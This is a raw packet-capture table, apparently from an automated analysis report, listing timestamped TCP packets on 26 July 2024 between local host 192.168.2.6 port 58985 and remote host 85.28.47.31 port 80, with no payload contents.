Jul 26, 2024 13:49:11.659156084 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.659178972 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.659224033 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.659224033 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.739705086 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.739748001 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.739768982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.739768982 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.739805937 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.739814997 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.740067005 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.740083933 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.740112066 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.740125895 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.740447998 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.740462065 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.740478992 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.740504980 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.740504980 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.740520954 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.747668982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.747714996 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.747759104 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.747776031 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.747795105 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.747816086 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.747998953 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.748034954 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.748105049 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.748156071 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.748318911 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.748333931 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.748349905 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.748353004 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.748367071 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.748380899 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.748861074 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.748897076 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.749053955 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.749069929 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.749105930 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.749123096 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.749402046 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.749417067 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.749433041 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.749453068 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.749479055 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.749933004 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.749978065 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.750106096 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.750121117 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.750164986 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.822590113 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.822616100 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.822633982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.822777987 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.822794914 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.822942972 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.823128939 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.823154926 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.823193073 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.823437929 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.823456049 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.823482037 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.823499918 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.828218937 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.828263044 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.828270912 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.828289986 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.828310013 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.828325033 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.828562975 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.828579903 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.828596115 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.828602076 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.828614950 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.828630924 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.829224110 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.829241037 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.829257011 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.829265118 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.829277992 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.829289913 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.829637051 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.829653025 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.829668045 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.829682112 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.829694033 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.829715967 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.830086946 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.830101967 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.830117941 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.830123901 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.830136061 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.830138922 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.830176115 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.830193996 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.836471081 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.836508989 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.836658001 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.836674929 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.836694956 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.836715937 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.837094069 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.837110043 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.837126970 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.837127924 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.837141991 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.837143898 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.837167978 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.837187052 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.838211060 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.838229895 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.838246107 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.838260889 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.838258982 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.838258982 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.838278055 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.838282108 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.838294029 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.838325977 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.838690996 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.838707924 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.838723898 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.838733912 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.838753939 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.838776112 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.839456081 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.839472055 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.839488029 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.839499950 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.839504004 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.839514017 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.839523077 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.839534998 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.839541912 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.839585066 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.840051889 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.840069056 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.840084076 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.840099096 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.840099096 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.840114117 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.840117931 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.840133905 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.840150118 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.840169907 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.904258966 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.904320955 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.904324055 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.904344082 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.904360056 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.904388905 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.904648066 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.904687881 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.910685062 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.910737038 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.910752058 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.910768986 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.910780907 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.910815001 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.910991907 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.911006927 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.911024094 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.911026001 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.911041021 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.911056042 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.911524057 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.911541939 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.911566973 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.911581039 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.916322947 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.916366100 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.916423082 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.916440964 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.916460991 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.916474104 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.916680098 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.916697025 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.916718006 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.916731119 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.916918993 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.916934967 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.916953087 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.916990995 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.917185068 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.917223930 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.917287111 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.917304039 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.917318106 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.917325020 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.917335033 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.917341948 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.917357922 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.917375088 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.917938948 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.917953968 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.917970896 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.917975903 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.917992115 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.918009043 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.918298006 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.918313980 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.918330908 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.918335915 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.918346882 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.918348074 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.918365002 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.918381929 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.925913095 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.925918102 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.925937891 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.925955057 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.925966978 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.925986052 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.926446915 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.926464081 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.926479101 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.926492929 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.926501036 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.926517010 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.926551104 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.927207947 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.927222967 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.927237034 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.927248001 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.927251101 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.927267075 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.927267075 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.927278996 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.927297115 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.927316904 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.928183079 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.928198099 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.928216934 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.928221941 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.928232908 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.928241968 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.928247929 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.928263903 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.928263903 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.928278923 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.928297997 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.928319931 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.929227114 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.929243088 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.929258108 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.929267883 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.929272890 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.929280996 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.929290056 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.929299116 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.929327965 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.929351091 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.930195093 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.930210114 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.930223942 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.930241108 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.930247068 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.930259943 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.930262089 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.930278063 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.930286884 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.930320024 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.931205988 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.931221962 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.931236982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.931246996 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.931252003 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.931262970 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.931267023 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.931282997 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.931298018 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.931312084 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.932260990 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.932276011 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.932290077 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.932295084 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.932305098 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.932313919 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.932322025 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.932329893 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.932337999 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.932347059 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.932363033 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.932393074 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.933023930 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.933038950 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.933053970 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.933059931 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.933070898 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.933075905 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.933085918 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.933093071 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.933104992 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.933109999 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.933120966 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.933132887 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.933161020 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.933969021 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.934007883 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.992566109 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.992629051 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.992640018 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.992656946 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.992681980 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.992692947 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.992929935 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.992973089 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.993019104 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.993061066 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.993221045 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.993237019 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.993252039 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.993269920 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.993289948 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.000368118 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.000420094 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.000502110 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.000546932 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.000583887 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.000626087 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.000890970 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.000910997 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.000925064 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.000927925 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.000941038 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.000946045 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.000957966 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.000963926 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.000984907 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.001039028 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.001382113 CEST	80	58985	85.28.47.31	192.168.2.6
